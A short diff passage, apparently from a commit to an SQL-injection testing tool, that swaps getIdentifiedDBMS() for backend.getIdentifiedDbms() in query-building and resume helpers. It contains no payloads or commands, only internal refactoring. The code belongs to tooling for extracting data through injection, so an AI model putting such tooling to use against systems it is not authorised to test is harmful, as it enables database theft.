if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||
lengthExpr += " AS %s" % randomStr(lowercase=True)
|
||||
elif select:
|
||||
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
||||
@@ -142,10 +142,10 @@ def resume(expression, payload):
|
||||
if not payload:
|
||||
return None
|
||||
|
||||
if not getIdentifiedDBMS():
|
||||
if not backend.getIdentifiedDbms():
|
||||
return None
|
||||
|
||||
substringQuery = queries[getIdentifiedDBMS()].substring.query
|
||||
substringQuery = queries[backend.getIdentifiedDbms()].substring.query
|
||||
select = re.search("\ASELECT ", expression, re.I)
|
||||
|
||||
_, length, regExpr = queryOutputLength(expression, payload)
|
||||
|
||||
Reference in New Issue
Block a user